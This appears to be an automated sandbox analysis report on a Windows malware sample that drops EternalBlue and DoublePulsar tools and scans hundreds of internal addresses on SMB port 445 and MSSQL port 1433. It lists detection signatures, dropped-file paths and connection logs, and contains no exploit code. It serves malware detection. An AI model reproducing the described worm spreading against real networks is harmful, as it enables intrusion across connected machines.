Source: C:\Windows\Microsoft.NET\Framework\v3.0\WmiPrvSER.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: 38iGnQnL33.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\38iGnQnL33.exe	Code function: 0_2_00402163 CryptAcquireContextA,CryptAcquireContextA,CryptCreateHash,CryptReleaseContext,CryptHashData,CryptDestroyHash,CryptReleaseContext,CryptGetHashParam,CryptDestroyHash,CryptReleaseContext,CryptDestroyHash,CryptReleaseContext,	0_2_00402163
Source: C:\Users\user\Desktop\MSSQLH.exe	Code function: 1_2_00402746 CryptAcquireContextA,CryptAcquireContextA,CryptCreateHash,CryptReleaseContext,CryptHashData,CryptDestroyHash,CryptReleaseContext,CryptGetHashParam,CryptDestroyHash,CryptReleaseContext,CryptDestroyHash,CryptReleaseContext,	1_2_00402746
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_1000A486 CryptAcquireContextA,CryptAcquireContextA,CryptCreateHash,CryptReleaseContext,CryptHashData,CryptDestroyHash,CryptReleaseContext,CryptGetHashParam,CryptDestroyHash,CryptReleaseContext,CryptDestroyHash,CryptReleaseContext,	8_2_1000A486
Source: C:\Windows\Temp\Wmicc.exe	Code function: 63_2_0040326B CryptAcquireContextA,CryptAcquireContextA,CryptCreateHash,CryptReleaseContext,CryptHashData,CryptDestroyHash,CryptReleaseContext,CryptGetHashParam,CryptDestroyHash,CryptReleaseContext,CryptDestroyHash,CryptReleaseContext,	63_2_0040326B

Exploits

Yara detected DoublePulsar

Source: Yara match	File source: 4.2.MpMgSvc.exe.63d35e.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.MpMgSvc.exe.62494b.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.MpMgSvc.exe.640f71.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.MpMgSvc.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.4109072853.0000000000622000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: MpMgSvc.exe PID: 2800, type: MEMORYSTR
Source: Yara match	File source: C:\Windows\Temp\Doublepulsar-1.3.1.exe, type: DROPPED

Yara detected ETERNALBLUE

Source: Yara match	File source: 4.2.MpMgSvc.exe.63d35e.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.MpMgSvc.exe.62494b.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.MpMgSvc.exe.640f71.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.MpMgSvc.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.4109072853.0000000000622000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: MpMgSvc.exe PID: 2800, type: MEMORYSTR
Source: Yara match	File source: C:\Windows\Temp\Eternalblue-2.2.0.exe, type: DROPPED

Connects to many different private IPs (likely to spread or exploit)

Source: global traffic	TCP traffic: 192.168.1.217:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.218:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.219:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.213:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.214:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.215:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.216:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.210:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.211:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.212:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.148:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.149:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.146:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.147:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.140:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.141:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.144:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.145:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.142:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.143:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.206:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.207:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.208:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.209:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.202:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.203:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.204:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.205:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.200:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.201:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.159:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.157:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.158:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.151:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.152:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.150:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.155:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.156:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.153:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.154:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.239:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.235:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.236:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.237:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.238:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.231:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.232:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.233:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.234:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.230:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.126:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.127:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.124:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.125:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.128:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.129:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.122:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.123:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.120:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.121:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.228:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.229:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.224:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.225:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.226:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.227:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.220:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.221:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.222:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.223:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.97:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.137:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.96:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.138:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.99:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.135:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.98:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.136:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.139:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.130:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.91:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.90:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.93:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.133:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.92:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.134:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.95:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.131:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.94:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.132:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.104:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.105:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.102:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.103:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.108:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.109:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.106:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.107:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.100:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.101:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.115:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.116:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.113:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.114:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.119:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.117:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.118:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.111:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.112:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.110:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.203:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.204:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.201:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.202:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.207:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.208:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.205:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.206:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.200:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.209:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.214:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.215:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.212:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.213:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.216:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.210:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.211:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.39:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.38:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.42:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.41:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.44:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.43:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.46:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.45:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.48:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.47:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.40:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.28:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.27:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.29:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.94:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.31:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.95:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.30:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.96:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.33:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.97:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.32:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.98:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.35:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.99:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.34:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.37:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.36:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.90:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.91:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.92:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.93:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.17:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.16:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.19:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.18:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.83:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.20:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.84:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.85:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.22:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.86:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.21:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.87:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.24:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.23:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.88:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.89:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.26:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.25:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.80:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.81:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.82:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.69:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.72:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.73:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.74:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.11:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.75:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.10:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.13:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.76:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.12:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.77:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.78:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.15:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.79:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.14:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.70:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.71:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.86:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.85:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.88:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.87:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.89:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.80:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.82:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.81:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.84:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.83:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.75:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.74:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.77:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.76:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.79:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.78:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.71:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.70:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.73:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.72:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.64:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.63:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.66:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.65:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.68:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.67:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.69:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.60:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.62:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.61:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.49:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.53:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.52:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.55:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.54:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.57:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.56:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.59:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.58:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.51:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.50:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.2:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.1:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.4:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.3:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.14:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.15:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.9:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.16:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.17:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.6:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.18:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.5:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.19:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.8:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.7:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.20:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.21:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.22:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.23:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.24:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.10:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.11:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.12:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.13:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.1:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.3:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.2:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.9:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.8:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.5:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.4:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.7:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.6:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.170:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.172:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.171:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.58:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.59:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.61:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.62:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.63:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.64:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.65:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.66:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.67:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.68:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.178:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.177:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.179:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.174:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.173:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.176:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.60:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.175:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.161:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.160:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.47:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.16:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.48:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.15:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.49:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.18:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.17:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.19:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.50:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.51:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.52:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.21:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.53:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.20:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.54:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.55:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.56:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.57:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.167:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.166:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.169:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.168:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.163:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.162:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.165:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.164:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.192:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.191:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.194:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.193:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.190:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.36:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.37:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.38:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.39:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.40:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.41:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.10:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.42:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.43:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.12:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.44:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.11:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.45:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.14:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.46:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.1.13:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.199:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.196:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.195:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.198:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.197:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.181:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.180:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.183:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.182:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.25:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.26:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.27:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.28:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.29:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.30:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.31:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.32:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.33:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.34:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.35:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.189:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.188:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.185:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.184:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.187:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.186:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.138:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.137:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.139:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.134:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.255:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.133:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.254:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.136:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.135:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.130:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.251:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.250:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.132:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.253:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.131:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.252:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.127:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.248:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.126:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.247:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.129:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.128:1433	Jump to behavior
Source: global traffic	TCP traffic: 192.168.0.249:1433	Jump to behavior
